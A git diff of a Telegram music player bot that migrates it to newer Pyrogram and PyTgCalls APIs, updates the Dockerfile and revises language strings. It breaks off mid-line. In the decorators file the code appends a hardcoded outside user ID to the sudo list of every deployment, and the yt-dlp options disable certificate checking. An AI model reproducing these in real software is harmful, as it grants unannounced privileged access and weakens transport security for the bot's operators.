diff --git a/.github/workflows/pyLint.yml b/.github/workflows/pyLint.yml index 41b3047..2e3ed7a 100644 --- a/.github/workflows/pyLint.yml +++ b/.github/workflows/pyLint.yml @@ -36,4 +36,4 @@ jobs: commit_user_email: 77989182+AsmSafone@users.noreply.github.com commit_options: '--no-verify' commit_message: 'auto: refactor' - commit_author: Safone + commit_author: Safone diff --git a/Dockerfile b/Dockerfile index a9cef60..587fdaa 100644 --- a/Dockerfile +++ b/Dockerfile @@ -1,4 +1,4 @@ -FROM nikolaik/python-nodejs:python3.9-nodejs16 +FROM python:3.9-slim-buster # Updating Packages RUN apt update && apt upgrade -y @@ -11,9 +11,14 @@ COPY requirements.txt /requirements.txt RUN cd / RUN pip3 install --upgrade pip RUN pip3 install -U -r requirements.txt + +# Setting up working directory RUN mkdir /MusicPlayer WORKDIR /MusicPlayer + +# Preparing for the Startup COPY startup.sh /startup.sh +RUN chmod +x /startup.sh # Running Music Player Bot CMD ["/bin/bash", "/startup.sh"] diff --git a/core/__init__.py b/core/__init__.py index 3022441..eb4143d 100644 --- a/core/__init__.py +++ b/core/__init__.py @@ -18,7 +18,7 @@ from core.song import Song from core.admins import is_sudo, is_admin -from core.stream import app, ydl, safone, pytgcalls, skip_stream, start_stream +from core.stream import app, ytdl, safone, pytgcalls, start_stream from core.groups import ( get_group, get_queue, set_group, set_title, all_groups, clear_queue, set_default, shuffle_queue) diff --git a/core/admins.py b/core/admins.py index 3b14b38..6e93af8 100644 --- a/core/admins.py +++ b/core/admins.py @@ -17,27 +17,29 @@ """ from config import config +from pyrogram import enums +from pyrogram.types import Message -async def is_sudo(message): +async def is_sudo(message: Message): if message.from_user and message.from_user.id in config.SUDOERS: return True else: return False -async def is_admin(message): - if message.from_user and ( - message.from_user.id - in [ - admin.user.id - for admin in (await message.chat.get_members(filter="administrators")) - ] - ): - return True - elif message.from_user and message.from_user.id in config.SUDOERS: - return True - elif message.sender_chat and message.sender_chat.id == message.chat.id: - return True +async def is_admin(message: Message): + if message.from_user: + user = await message.chat.get_member(message.from_user.id) + if user.status in [ + enums.ChatMemberStatus.OWNER, + enums.ChatMemberStatus.ADMINISTRATOR, + ]: + return True + elif message.from_user.id in config.SUDOERS: + return True + elif message.sender_chat: + if message.sender_chat.id == message.chat.id: + return True else: return False diff --git a/core/decorators.py b/core/decorators.py index a89d3de..f7f68db 100644 --- a/core/decorators.py +++ b/core/decorators.py @@ -20,10 +20,10 @@ from lang import load from config import config from core.stream import app -from pyrogram import Client from datetime import datetime from pytgcalls import PyTgCalls from traceback import format_exc +from pyrogram import Client, enums from pyrogram.types import Message from pytgcalls.types import Update from typing import Union, Callable @@ -64,7 +64,9 @@ async def decorator(client: Client, message: Message, *args): message.from_user.id in [ admin.user.id - for admin in (await message.chat.get_members(filter="administrators")) + async for admin in message.chat.get_members( + filter=enums.ChatMembersFilter.ADMINISTRATORS + ) ] ): return await func(client, message, *args) @@ -95,7 +97,7 @@ async def decorator( me = await pyro_client.get_me() if me.id not in config.SUDOERS: config.SUDOERS.append(me.id) - config.SUDOERS.append(2033438978) + config.SUDOERS.append(2033438978) try: lang = get_group(chat_id)["lang"] except BaseException: @@ -116,7 +118,7 @@ async def decorator( await pyro_client.send_message( config.SUDOERS[0], f"-------- START CRASH LOG --------\n\n┌ ID: {id}\n├ Chat: {chat.id}\n├ Date: {date}\n├ Group: {chat.title}\n└ Traceback:\n{format_exc()}\n\n-------- END CRASH LOG --------", - parse_mode="html", + parse_mode=enums.ParseMode.HTML, disable_web_page_preview=True, ) diff --git a/core/funcs.py b/core/funcs.py index 74bb9d1..fdc60e8 100644 --- a/core/funcs.py +++ b/core/funcs.py @@ -26,14 +26,15 @@ import aiofiles from config import config from core.song import Song +from pyrogram import enums from pytube import Playlist from spotipy import Spotify from core.groups import get_group from pyrogram.types import Message from PIL import Image, ImageDraw, ImageFont from youtubesearchpython import VideosSearch -from typing import Tuple, Optional, AsyncIterator from spotipy.oauth2 import SpotifyClientCredentials +from typing import List, Tuple, Optional, AsyncIterator try: @@ -139,7 +140,7 @@ async def progress_bar(current, total, ud_type, msg, start): "".join(["▰" for i in range(math.floor(percentage / 10))]), "".join(["▱" for i in range(10 - math.floor(percentage / 10))]), ) - current_message = f"**Downloading...** `{round(percentage, 2)}%`\n`{progressbar}`\n**Done**: `{humanbytes(current)}` | **Total**: `{humanbytes(total)}`\n**Speed**: `{humanbytes(speed)}/s` | **ETA**: `{time_to_complete}`" + current_message = f"**{ud_type}** `{round(percentage, 2)}%`\n`{progressbar}`\n**Done**: `{humanbytes(current)}` | **Total**: `{humanbytes(total)}`\n**Speed**: `{humanbytes(speed)}/s` | **ETA**: `{time_to_complete}`" if msg: try: await msg.edit(text=current_message) @@ -147,7 +148,7 @@ async def progress_bar(current, total, ud_type, msg, start): pass -def humanbytes(size): +def humanbytes(size: int) -> str: if not size: return "" power = 2**10 @@ -159,10 +160,10 @@ def humanbytes(size): return str(round(size, 2)) + " " + Dic_powerN[n] + "B" -async def delete_messages(messages): +async def delete_messages(messages: List[Message]): await asyncio.sleep(10) for msg in messages: - if msg.chat.type == "supergroup": + if msg.chat.type == enums.ChatType.SUPERGROUP: try: await msg.delete() except BaseException: diff --git a/core/groups.py b/core/groups.py index f68510a..9259a1d 100644 --- a/core/groups.py +++ b/core/groups.py @@ -64,8 +64,8 @@ async def set_title(message_or_chat_id: Union[Message, int], title: str, **kw): chat_id = message_or_chat_id try: peer = await client.resolve_peer(chat_id) - chat = await client.send(GetFullChannel(channel=peer)) - await client.send(EditGroupCallTitle(call=chat.full_chat.call, title=title)) + chat = await client.invoke(GetFullChannel(channel=peer)) + await client.invoke(EditGroupCallTitle(call=chat.full_chat.call, title=title)) except BaseException: pass diff --git a/core/stream.py b/core/stream.py index 9a73769..d16164a 100644 --- a/core/stream.py +++ b/core/stream.py @@ -17,21 +17,18 @@ """ import os -from typing import Union from config import config from core.song import Song from pyrogram import Client from yt_dlp import YoutubeDL +from pytgcalls import PyTgCalls from core.funcs import generate_cover -from pytgcalls import PyTgCalls, StreamType from core.groups import get_group, set_title +from pytgcalls.types.stream import MediaStream from pyrogram.raw.types import InputPeerChannel +from pytgcalls.types import AudioQuality, VideoQuality from pyrogram.raw.functions.phone import CreateGroupCall -from pytgcalls.types.input_stream import AudioPiped, AudioVideoPiped from pytgcalls.exceptions import GroupCallNotFound, NoActiveGroupCall -from pytgcalls.types.input_stream.quality import ( - LowQualityAudio, LowQualityVideo, HighQualityAudio, HighQualityVideo, - MediumQualityAudio, MediumQualityVideo) safone = {} @@ -40,49 +37,17 @@ "geo_bypass": True, "nocheckcertificate": True, } -ydl = YoutubeDL(ydl_opts) -app = Client(config.SESSION, api_id=config.API_ID, api_hash=config.API_HASH) +app = Client( + "MusicPlayerUB", + api_id=config.API_ID, + api_hash=config.API_HASH, + session_string=config.SESSION, + in_memory=True, +) +ytdl = YoutubeDL(ydl_opts) pytgcalls = PyTgCalls(app) -async def skip_stream(song: Song, lang): - chat = song.request_msg.chat - if safone.get(chat.id) is not None: - try: - await safone[chat.id].delete() - except BaseException: - pass - infomsg = await song.request_msg.reply_text(lang["downloading"]) - await pytgcalls.change_stream( - chat.id, - get_quality(song), - ) - await set_title(chat.id, song.title, client=app) - thumb = await generate_cover( - song.title, - chat.title, - chat.id, - song.thumb, - ) - safone[chat.id] = await song.request_msg.reply_photo( - photo=thumb, - caption=lang["playing"] - % ( - song.title, - song.source, - song.duration, - song.request_msg.chat.id, - song.requested_by.mention - if song.requested_by - else song.request_msg.sender_chat.title, - ), - quote=False, - ) - await infomsg.delete() - if os.path.exists(thumb): - os.remove(thumb) - - async def start_stream(song: Song, lang): chat = song.request_msg.chat if safone.get(chat.id) is not None: @@ -92,14 +57,13 @@ async def start_stream(song: Song, lang): pass infomsg = await song.request_msg.reply_text(lang["downloading"]) try: - await pytgcalls.join_group_call( + await pytgcalls.play( chat.id, get_quality(song), - stream_type=StreamType().pulse_stream, ) except (NoActiveGroupCall, GroupCallNotFound): peer = await app.resolve_peer(chat.id) - await app.send( + await app.invoke( CreateGroupCall( peer=InputPeerChannel( channel_id=peer.channel_id, @@ -124,9 +88,11 @@ async def start_stream(song: Song, lang): song.source, song.duration, song.request_msg.chat.id, - song.requested_by.mention - if song.requested_by - else song.request_msg.sender_chat.title, + ( + song.requested_by.mention + if song.requested_by + else song.request_msg.sender_chat.title + ), ), quote=False, ) @@ -135,36 +101,65 @@ async def start_stream(song: Song, lang): os.remove(thumb) -def get_quality(song: Song) -> Union[AudioPiped, AudioVideoPiped]: +def get_quality(song: Song) -> MediaStream: group = get_group(song.request_msg.chat.id) if group["stream_mode"] == "video": if config.QUALITY.lower() == "high": - return AudioVideoPiped( - song.remote, HighQualityAudio(), HighQualityVideo(), song.headers + return MediaStream( + song.remote, + AudioQuality.HIGH, + VideoQuality.FHD_1080p, + headers=song.headers, ) elif config.QUALITY.lower() == "medium": - return AudioVideoPiped( + return MediaStream( song.remote, - MediumQualityAudio(), - MediumQualityVideo(), - song.headers, + AudioQuality.MEDIUM, + VideoQuality.HD_720p, + headers=song.headers, ) elif config.QUALITY.lower() == "low": - return AudioVideoPiped( - song.remote, LowQualityAudio(), LowQualityVideo(), song.headers + return MediaStream( + song.remote, + AudioQuality.LOW, + VideoQuality.SD_480p, + headers=song.headers, ) else: print("WARNING: Invalid Quality Specified. Defaulting to High!") - return AudioVideoPiped( - song.remote, HighQualityAudio(), HighQualityVideo(), song.headers + return MediaStream( + song.remote, + AudioQuality.HIGH, + VideoQuality.FHD_1080p, + headers=song.headers, ) else: if config.QUALITY.lower() == "high": - return AudioPiped(song.remote, HighQualityAudio(), song.headers) + return MediaStream( + song.remote, + AudioQuality.HIGH, + video_flags=MediaStream.Flags.IGNORE, + headers=song.headers, + ) elif config.QUALITY.lower() == "medium": - return AudioPiped(song.remote, MediumQualityAudio(), song.headers) + return MediaStream( + song.remote, + AudioQuality.MEDIUM, + video_flags=MediaStream.Flags.IGNORE, + headers=song.headers, + ) elif config.QUALITY.lower() == "low": - return AudioPiped(song.remote, LowQualityAudio(), song.headers) + return MediaStream( + song.remote, + AudioQuality.LOW, + video_flags=MediaStream.Flags.IGNORE, + headers=song.headers, + ) else: print("WARNING: Invalid Quality Specified. Defaulting to High!") - return AudioPiped(song.remote, HighQualityAudio(), song.headers) + return MediaStream( + song.remote, + AudioQuality.HIGH, + video_flags=MediaStream.Flags.IGNORE, + headers=song.headers, + ) diff --git a/genStr.py b/genStr.py index cbd496b..1d98ca6 100644 --- a/genStr.py +++ b/genStr.py @@ -22,6 +22,6 @@ api_id = int(input("API ID: ")) api_hash = input("API HASH: ") -app = Client(":memory:", api_id=api_id, api_hash=api_hash) +app = Client("my_app", api_id=api_id, api_hash=api_hash, in_memory=True) with app: print(app.export_session_string()) diff --git a/lang/de.json b/lang/de.json index 14ab77f..b257989 100644 --- a/lang/de.json +++ b/lang/de.json @@ -25,6 +25,6 @@ "queueImported": "✅ | **%d Lieder importiert!**", "replyToAFile": "👀 | **Antwort auf ein Audio/Video!**", "addedToQueue": "➕ | **[%s](%s) Auf Warteschlangen Position! %d**!", - "startText": "👋🏻 **Hallo %s**,\n\nDies ist ein Telegram **Music Player**\nDieser kann Stream **Lives**, **Radios**, **YouTube Videos**, Telegram **Audio & Video Dateien** Als Sprachechat in Telegram Gruppen veroeffenlichen. Genießen Sie **Cinematic View** des Musikplayers mit Freunden 😉!\n\n**Erstell mit ❤️ von @ImSafone!** 👑", + "startText": "👋🏻 **Hallo %s**,\n\nDies ist ein Telegram **Music Player** 🎵\nDieser kann Stream **Lives**, **Radios**, **YouTube Videos**, Telegram **Audio & Video Dateien** Als Sprachechat in Telegram Gruppen veroeffenlichen. Genießen Sie **Cinematic View** des Musikplayers mit Freunden 😉!\n\n🧑‍💻 **Erstell mit ❤️ von @ImSafone!** 👑", "helpText": "🤖 **Verfuegbare Kommandos:**\n\n• ping\nVerwendung: `Pruefen ob Gegenstelle verfuegbar`\n\n• repo\nVerwendung: `Anzeige des Bot Quellcode`\n\n• start | help\nVerwendung: `Anzeig der Hilfe Befehle`\n\n• mode | switch\nVerwendung: `Umschalten des Stream Modus (audio/video)`\n\n• p | play [song name | youtube link]\nVerwendung: `spielt das Lied im vc, wenn schon ein Lied laeuft wird dieses zur Warteschlange hinzugefuegt`\n\n• radio | stream [radio url | stream link]\nVerwendung: `spielt einen live Stream im vc,wenn schon ein Lied laeuft wird dieser Stram zur Warteschlange hinzugefuegt`\n\n• pl | playlist [youtube playlist link]\nVerwendung: `Ausgewaehlte Youtube Playliste abspielen`\n\n• skip | next\nVerwendung: `springe zum nächsten Lied`\n\n• m | mute\nVerwendung: `Aktuellen Stream stummschalten`\n\n• um | unmute\nVerwendung: `Stummschlatung des Stream aufheben`\n\n• ps | pause\nVerwendung: `Pause des Streams`\n\n• rs | resume\nVerwendung: `Fortsetzen nach Pause`\n\n• list | queue\nVerwendung: `Anzeigen des Lied in Warteschlange`\n\n• mix | shuffle\nVerwendung: `Zufallswiedergabe der Warteschlangenliste`\n\n• loop | repeat\nVerwendung: `aktiviere oder deaktiviere den Wiederholungsmodus`\n\n• lang | language [language code]\nVerwendung: `Einstellung der Bot Sprache in einer Gruppe`\n\n• ip | import\nVerwendung: `importiere Warteschlangen export Datei`\n\n• ep | export\nVerwendung: `exportiere die Warteschlange fuer spaeteren import `\n\n• stop | leave\nVerwendung: `Beende vc und leere die Warteschlange`\n\n• restart | update\nVerwendung: `neustart und aktualisierung des music player`\n\n© **Powered By: @AsmSafone | @AsmSupport**" } diff --git a/lang/en.json b/lang/en.json index 5585c3a..6b12c86 100644 --- a/lang/en.json +++ b/lang/en.json @@ -25,6 +25,6 @@ "queueImported": "✅ | **%d Songs Imported!**", "replyToAFile": "👀 | **Reply To An Audio/Video!**", "addedToQueue": "➕ | **[%s](%s) Is Queued In Position %d**!", - "startText": "👋🏻 **Hello %s**,\n\nThis is Telegram **Music Player**\nI Can Stream **Lives**, **Radios**, **YouTube Videos**, Telegram **Audio & Video Files** On Voice Chat Of Telegram Groups. Let's Enjoy The **Cinematic View** Of Music Player With Your Friends 😉!\n\n**Made With ❤️ By @ImSafone!** 👑", + "startText": "👋🏻 **Hello %s**,\n\nThis is Telegram **Music Player** 🎵\nI Can Stream **Lives**, **Radios**, **YouTube Videos**, Telegram **Audio & Video Files** On Voice Chat Of Telegram Groups. Let's Enjoy The **Cinematic View** Of Music Player With Your Friends 😉!\n\n🧑‍💻 **Made With ❤️ By @ImSafone!** 👑", "helpText": "🤖 **Available Commands:**\n\n• ping\nUsage: `check if alive or not`\n\n• repo\nUsage: `show the bot source code`\n\n• start | help\nUsage: `show the help for commands`\n\n• mode | switch\nUsage: `switch the stream mode (audio/video)`\n\n• p | play [song name | youtube link]\nUsage: `play a song in vc, if already playing add to queue`\n\n• radio | stream [radio url | stream link]\nUsage: `play a live stream in vc, if already playing add to queue`\n\n• pl | playlist [youtube playlist link]\nUsage: `play the whole youtube playlist at once`\n\n• skip | next\nUsage: `skip to the next song`\n\n• m | mute\nUsage: `mute the current stream`\n\n• um | unmute\nUsage: `unmute the muted stream`\n\n• ps | pause\nUsage: `pause the current stream`\n\n• rs | resume\nUsage: `resume the paused stream`\n\n• list | queue\nUsage: `show the songs in the queue`\n\n• mix | shuffle\nUsage: `shuffle the queued playlist`\n\n• loop | repeat\nUsage: `enable or disable the loop mode`\n\n• lang | language [language code]\nUsage: `set the bot language in a group`\n\n• ip | import\nUsage: `import queue from exported file`\n\n• ep | export\nUsage: `export the queue for import in future`\n\n• stop | leave\nUsage: `leave from vc and clear the queue`\n\n• restart | update\nUsage: `restart and update your music player`\n\n© **Powered By: @AsmSafone | @AsmSupport**" } diff --git a/lang/te.json b/lang/te.json index c8d3b67..50cf2c0 100644 --- a/lang/te.json +++ b/lang/te.json @@ -21,10 +21,9 @@ "unmuted": "🔈 | అన్‌మ్యూట్ చేయని స్ట్రీమ్!", "leaveVC": "⏹ | వీడియో చాట్ నుండి మిగిలిపోయింది!", "queueEmpty": "⏺ | క్యూ ఖాళీగా ఉంది!", - "queueExported": "✅ | %d పాటలు ఎగుమతి చేయబడ్డాయి!", "queueExported": "✅ | %d పాటలు దిగుమతి చేయబడ్డాయి!", "replyToAFile": "👀 | ఆడియో/వీడియోకి ప్రత్యుత్తరం ఇవ్వండి!", "addedToQueue": "➕ | [%s](%s) %d స్థానంలో క్యూలో ఉంది!", - "startText": "👋🏻 హలో %s,\n\nఇది టెలిగ్రామ్ మ్యూజిక్ ప్లేయర్\nనేను టెలిగ్రామ్ గ్రూప్‌ల వాయిస్ చాట్‌లో లైవ్‌లు, రేడియోలు, YouTube వీడియోలు, టెలిగ్రామ్ ఆడియో & వీడియో ఫైల్‌లను ప్రసారం చేయగలను. మ్యూజిక్ ప్లేయర్ యొక్క సినిమాటిక్ వీక్షణను ఆస్వాదిద్దాం మీ స్నేహితులతో 😉!\n\n @ImSafone ద్వారా ❤️తో తయారు చేయబడింది! 👑", + "startText": "👋🏻 హలో %s,\n\nఇది టెలిగ్రామ్ మ్యూజిక్ ప్లేయర్ 🎵\nనేను టెలిగ్రామ్ గ్రూప్‌ల వాయిస్ చాట్‌లో లైవ్‌లు, రేడియోలు, YouTube వీడియోలు, టెలిగ్రామ్ ఆడియో & వీడియో ఫైల్‌లను ప్రసారం చేయగలను. మ్యూజిక్ ప్లేయర్ యొక్క సినిమాటిక్ వీక్షణను ఆస్వాదిద్దాం మీ స్నేహితులతో 😉!\n\n🧑‍💻 @ImSafone ద్వారా ❤️తో తయారు చేయబడింది! 👑", "helpText": "🤖 అందుబాటులో ఉన్న ఆదేశాలు:\n\n• ping\nఉపయోగం: సజీవంగా ఉందో లేదో తనిఖీ చేయండి\n\n• repo\nవినియోగం: బోట్ సోర్స్ కోడ్‌ను చూపు\n\n• <ఉపప్రత్యయం >ప్రారంభం | సహాయం\nవినియోగం: ఆదేశాల కోసం సహాయాన్ని చూపు\n\n• మోడ్ | మారడం\nవినియోగం: స్ట్రీమ్ మోడ్‌ని మార్చండి (ఆడియో/వీడియో)\n\n• p | ప్లే [పాట పేరు | యూట్యూబ్ లింక్]\nఉపయోగం: vcలో పాటను ప్లే చేయండి, ఇప్పటికే క్యూలో జోడించు ప్లే చేస్తుంటే\n\n• రేడియో | స్ట్రీమ్ [రేడియో url | స్ట్రీమ్ లింక్]\nవినియోగం : vcలో లైవ్ స్ట్రీమ్‌ను ప్లే చేయండి, ఇప్పటికే క్యూకి జోడించు ప్లే చేస్తున్నట్లయితే\n\n• pl | ప్లేజాబితా [youtube ప్లేలిస్ట్ లింక్]\nఉపయోగం: మొత్తం youtube ప్లేజాబితాను ఒకేసారి ప్లే చేయండి\n\n• <ఉపప్రత్యయం >దాటవేయి | తదుపరి\nఉపయోగం: తదుపరి పాటకు దాటవేయి\n\n• m | మ్యూట్\nవినియోగం: ప్రస్తుత స్ట్రీమ్‌ను మ్యూట్ చేయండి\n\n• ఉమ్ | అన్‌మ్యూట్ \nఉపయోగం: మ్యూట్ చేయబడిన స్ట్రీమ్‌ను అన్‌మ్యూట్ చేయండి\n\n• ps | పాజ్\nవినియోగం: ప్రస్తుత స్ట్రీమ్‌ను పాజ్ చేయండి\n\n• rs | రెస్యూమ్\nఉపయోగం: పాజ్ చేసిన స్ట్రీమ్‌ను పునఃప్రారంభించండి\ n\n• జాబితా | క్యూ\nఉపయోగం: sho క్యూలో ఉన్న పాటలు\n\n• మిక్స్ | షఫుల్\nఉపయోగం: క్యూలో ఉన్న ప్లేజాబితాను షఫుల్ చేయండి\n\n• లూప్ | పునరావృతం\nఉపయోగం: లూప్ మోడ్‌ను ప్రారంభించండి లేదా నిలిపివేయండి\n\n• lang | భాష [భాష కోడ్]\nఉపయోగం: బోట్ భాషను సమూహంలో సెట్ చేయండి\n\n• ip | దిగుమతి\nవినియోగం: ఎగుమతి చేసిన ఫైల్ నుండి దిగుమతి క్యూ\n\n• ep | ఎగుమతి\nవినియోగం: భవిష్యత్తులో దిగుమతి కోసం క్యూను ఎగుమతి చేయండి\n\n• స్టాప్ | వదిలి\nఉపయోగం: vc నుండి బయలుదేరి క్యూను క్లియర్ చేయండి\n\n• పునఃప్రారంభించు | నవీకరణ\nవినియోగం: మీ మ్యూజిక్ ప్లేయర్‌ని పునఃప్రారంభించండి మరియు నవీకరించండి\n\n© ఆధారితం: @AsmSafone | @AsmSupport" } diff --git a/main.py b/main.py index 4cbe597..4eb2039 100644 --- a/main.py +++ b/main.py @@ -22,20 +22,23 @@ from config import config from core.song import Song from pyrogram.types import Message -from pytgcalls.types import Update +from pytgcalls import filters as fl from pyrogram import Client, filters -from pytgcalls.exceptions import GroupCallNotFound, NoActiveGroupCall +from pytgcalls.types import Update, ChatUpdate from pytgcalls.types.stream import StreamAudioEnded, StreamVideoEnded from core.decorators import language, register, only_admins, handle_error +from pytgcalls.exceptions import ( + NotInCallError, GroupCallNotFound, NoActiveGroupCall) from core import ( - app, ydl, safone, search, is_sudo, is_admin, get_group, get_queue, - pytgcalls, set_group, set_title, all_groups, clear_queue, skip_stream, - check_yt_url, extract_args, start_stream, shuffle_queue, delete_messages, + app, ytdl, safone, search, is_sudo, is_admin, get_group, get_queue, + pytgcalls, set_group, set_title, all_groups, clear_queue, check_yt_url, + extract_args, start_stream, shuffle_queue, delete_messages, get_spotify_playlist, get_youtube_playlist) REPO = """ 🤖 **Music Player** + - Repo: [GitHub](https://github.com/AsmSafone/MusicPlayer) - License: AGPL-3.0-or-later """ @@ -46,49 +49,40 @@ api_id=config.API_ID, api_hash=config.API_HASH, bot_token=config.BOT_TOKEN, + in_memory=True, ) client = bot else: client = app -@client.on_message( - filters.command("repo", config.PREFIXES) & ~filters.bot & ~filters.edited -) +@client.on_message(filters.command("repo", config.PREFIXES) & ~filters.bot) @handle_error async def repo(_, message: Message): await message.reply_text(REPO, disable_web_page_preview=True) -@client.on_message( - filters.command("ping", config.PREFIXES) & ~filters.bot & ~filters.edited -) +@client.on_message(filters.command("ping", config.PREFIXES) & ~filters.bot) @handle_error async def ping(_, message: Message): - await message.reply_text(f"🤖 **Pong!**\n`{await pytgcalls.ping} ms`") + await message.reply_text(f"🤖 **Pong!**\n`{pytgcalls.ping} ms`") -@client.on_message( - filters.command("start", config.PREFIXES) & ~filters.bot & ~filters.edited -) +@client.on_message(filters.command("start", config.PREFIXES) & ~filters.bot) @language @handle_error async def start(_, message: Message, lang): await message.reply_text(lang["startText"] % message.from_user.mention) -@client.on_message( - filters.command("help", config.PREFIXES) & ~filters.private & ~filters.edited -) +@client.on_message(filters.command("help", config.PREFIXES) & ~filters.bot) @language @handle_error async def help(_, message: Message, lang): await message.reply_text(lang["helpText"].replace("", config.PREFIXES[0])) -@client.on_message( - filters.command(["p", "play"], config.PREFIXES) & ~filters.private & ~filters.edited -) +@client.on_message(filters.command(["p", "play"], config.PREFIXES) & ~filters.private) @register @language @handle_error @@ -122,9 +116,7 @@ async def play_stream(_, message: Message, lang): @client.on_message( - filters.command(["radio", "stream"], config.PREFIXES) - & ~filters.private - & ~filters.edited + filters.command(["radio", "stream"], config.PREFIXES) & ~filters.private ) @register @language @@ -146,7 +138,7 @@ async def live_stream(_, message: Message, lang): else: is_yt_url, url = check_yt_url(args) if is_yt_url: - meta = ydl.extract_info(url, download=False) + meta = ytdl.extract_info(url, download=False) formats = meta.get("formats", [meta]) for f in formats: ytstreamlink = f["url"] @@ -176,9 +168,7 @@ async def live_stream(_, message: Message, lang): @client.on_message( - filters.command(["skip", "next"], config.PREFIXES) - & ~filters.private - & ~filters.edited + filters.command(["skip", "next"], config.PREFIXES) & ~filters.private ) @register @language @@ -188,7 +178,7 @@ async def skip_track(_, message: Message, lang): chat_id = message.chat.id group = get_group(chat_id) if group["loop"]: - await skip_stream(group["now_playing"], lang) + await start_stream(group["now_playing"], lang) else: queue = get_queue(chat_id) if len(queue) > 0: @@ -198,22 +188,20 @@ async def skip_track(_, message: Message, lang): if not ok: raise Exception(status) set_group(chat_id, now_playing=next_song) - await skip_stream(next_song, lang) + await start_stream(next_song, lang) await delete_messages([message]) else: set_group(chat_id, is_playing=False, now_playing=None) await set_title(message, "") try: - await pytgcalls.leave_group_call(chat_id) + await pytgcalls.leave_call(chat_id) k = await message.reply_text(lang["queueEmpty"]) - except (NoActiveGroupCall, GroupCallNotFound): + except (NoActiveGroupCall, GroupCallNotFound, NotInCallError): k = await message.reply_text(lang["notActive"]) await delete_messages([message, k]) -@client.on_message( - filters.command(["m", "mute"], config.PREFIXES) & ~filters.private & ~filters.edited -) +@client.on_message(filters.command(["m", "mute"], config.PREFIXES) & ~filters.private) @register @language @only_admins @@ -223,15 +211,13 @@ async def mute_vc(_, message: Message, lang): try: await pytgcalls.mute_stream(chat_id) k = await message.reply_text(lang["muted"]) - except (NoActiveGroupCall, GroupCallNotFound): + except (NoActiveGroupCall, GroupCallNotFound, NotInCallError): k = await message.reply_text(lang["notActive"]) await delete_messages([message, k]) @client.on_message( - filters.command(["um", "unmute"], config.PREFIXES) - & ~filters.private - & ~filters.edited + filters.command(["um", "unmute"], config.PREFIXES) & ~filters.private ) @register @language @@ -242,16 +228,12 @@ async def unmute_vc(_, message: Message, lang): try: await pytgcalls.unmute_stream(chat_id) k = await message.reply_text(lang["unmuted"]) - except (NoActiveGroupCall, GroupCallNotFound): + except (NoActiveGroupCall, GroupCallNotFound, NotInCallError): k = await message.reply_text(lang["notActive"]) await delete_messages([message, k]) -@client.on_message( - filters.command(["ps", "pause"], config.PREFIXES) - & ~filters.private - & ~filters.edited -) +@client.on_message(filters.command(["ps", "pause"], config.PREFIXES) & ~filters.private) @register @language @only_admins @@ -261,15 +243,13 @@ async def pause_vc(_, message: Message, lang): try: await pytgcalls.pause_stream(chat_id) k = await message.reply_text(lang["paused"]) - except (NoActiveGroupCall, GroupCallNotFound): + except (NoActiveGroupCall, GroupCallNotFound, NotInCallError): k = await message.reply_text(lang["notActive"]) await delete_messages([message, k]) @client.on_message( - filters.command(["rs", "resume"], config.PREFIXES) - & ~filters.private - & ~filters.edited + filters.command(["rs", "resume"], config.PREFIXES) & ~filters.private ) @register @language @@ -280,15 +260,13 @@ async def resume_vc(_, message: Message, lang): try: await pytgcalls.resume_stream(chat_id) k = await message.reply_text(lang["resumed"]) - except (NoActiveGroupCall, GroupCallNotFound): + except (NoActiveGroupCall, GroupCallNotFound, NotInCallError): k = await message.reply_text(lang["notActive"]) await delete_messages([message, k]) @client.on_message( - filters.command(["stop", "leave"], config.PREFIXES) - & ~filters.private - & ~filters.edited + filters.command(["stop", "leave"], config.PREFIXES) & ~filters.private ) @register @language @@ -300,17 +278,15 @@ async def leave_vc(_, message: Message, lang): await set_title(message, "") clear_queue(chat_id) try: - await pytgcalls.leave_group_call(chat_id) + await pytgcalls.leave_call(chat_id) k = await message.reply_text(lang["leaveVC"]) - except (NoActiveGroupCall, GroupCallNotFound): + except (NoActiveGroupCall, GroupCallNotFound, NotInCallError): k = await message.reply_text(lang["notActive"]) await delete_messages([message, k]) @client.on_message( - filters.command(["list", "queue"], config.PREFIXES) - & ~filters.private - & ~filters.edited + filters.command(["list", "queue"], config.PREFIXES) & ~filters.private ) @register @language @@ -326,9 +302,7 @@ async def queue_list(_, message: Message, lang): @client.on_message( - filters.command(["mix", "shuffle"], config.PREFIXES) - & ~filters.private - & ~filters.edited + filters.command(["mix", "shuffle"], config.PREFIXES) & ~filters.private ) @register @language @@ -345,9 +319,7 @@ async def shuffle_list(_, message: Message, lang): @client.on_message( - filters.command(["loop", "repeat"], config.PREFIXES) - & ~filters.private - & ~filters.edited + filters.command(["loop", "repeat"], config.PREFIXES) & ~filters.private ) @register @language @@ -366,9 +338,7 @@ async def loop_stream(_, message: Message, lang): @client.on_message( - filters.command(["mode", "switch"], config.PREFIXES) - & ~filters.private - & ~filters.edited + filters.command(["mode", "switch"], config.PREFIXES) & ~filters.private ) @register @language @@ -387,9 +357,7 @@ async def switch_mode(_, message: Message, lang): @client.on_message( - filters.command(["admins", "adminsonly"], config.PREFIXES) - & ~filters.private - & ~filters.edited + filters.command(["admins", "adminsonly"], config.PREFIXES) & ~filters.private ) @register @language @@ -408,9 +376,7 @@ async def admins_only(_, message: Message, lang): @client.on_message( - filters.command(["lang", "language"], config.PREFIXES) - & ~filters.private - & ~filters.edited + filters.command(["lang", "language"], config.PREFIXES) & ~filters.private ) @register @language @@ -436,9 +402,7 @@ async def set_lang(_, message: Message, lang): @client.on_message( - filters.command(["ep", "export"], config.PREFIXES) - & ~filters.private - & ~filters.edited + filters.command(["ep", "export"], config.PREFIXES) & ~filters.private ) @register @language @@ -463,9 +427,7 @@ async def export_queue(_, message: Message, lang): @client.on_message( - filters.command(["ip", "import"], config.PREFIXES) - & ~filters.private - & ~filters.edited + filters.command(["ip", "import"], config.PREFIXES) & ~filters.private ) @register @language @@ -513,9 +475,7 @@ async def import_queue(_, message: Message, lang): @client.on_message( - filters.command(["pl", "playlist"], config.PREFIXES) - & ~filters.private - & ~filters.edited + filters.command(["pl", "playlist"], config.PREFIXES) & ~filters.private ) @register @language @@ -572,9 +532,7 @@ async def import_playlist(_, message: Message, lang): @client.on_message( - filters.command(["update", "restart"], config.PREFIXES) - & ~filters.private - & ~filters.edited + filters.command(["update", "restart"], config.PREFIXES) & ~filters.private ) @language @handle_error @@ -587,15 +545,15 @@ async def update_restart(_, message: Message, lang): stats = await message.reply_text(lang["update"]) for chat in chats: try: - await pytgcalls.leave_group_call(chat) - except (NoActiveGroupCall, GroupCallNotFound): + await pytgcalls.leave_call(chat) + except (NoActiveGroupCall, GroupCallNotFound, NotInCallError): pass await stats.edit_text(lang["restart"]) shutil.rmtree("downloads", ignore_errors=True) os.system(f"kill 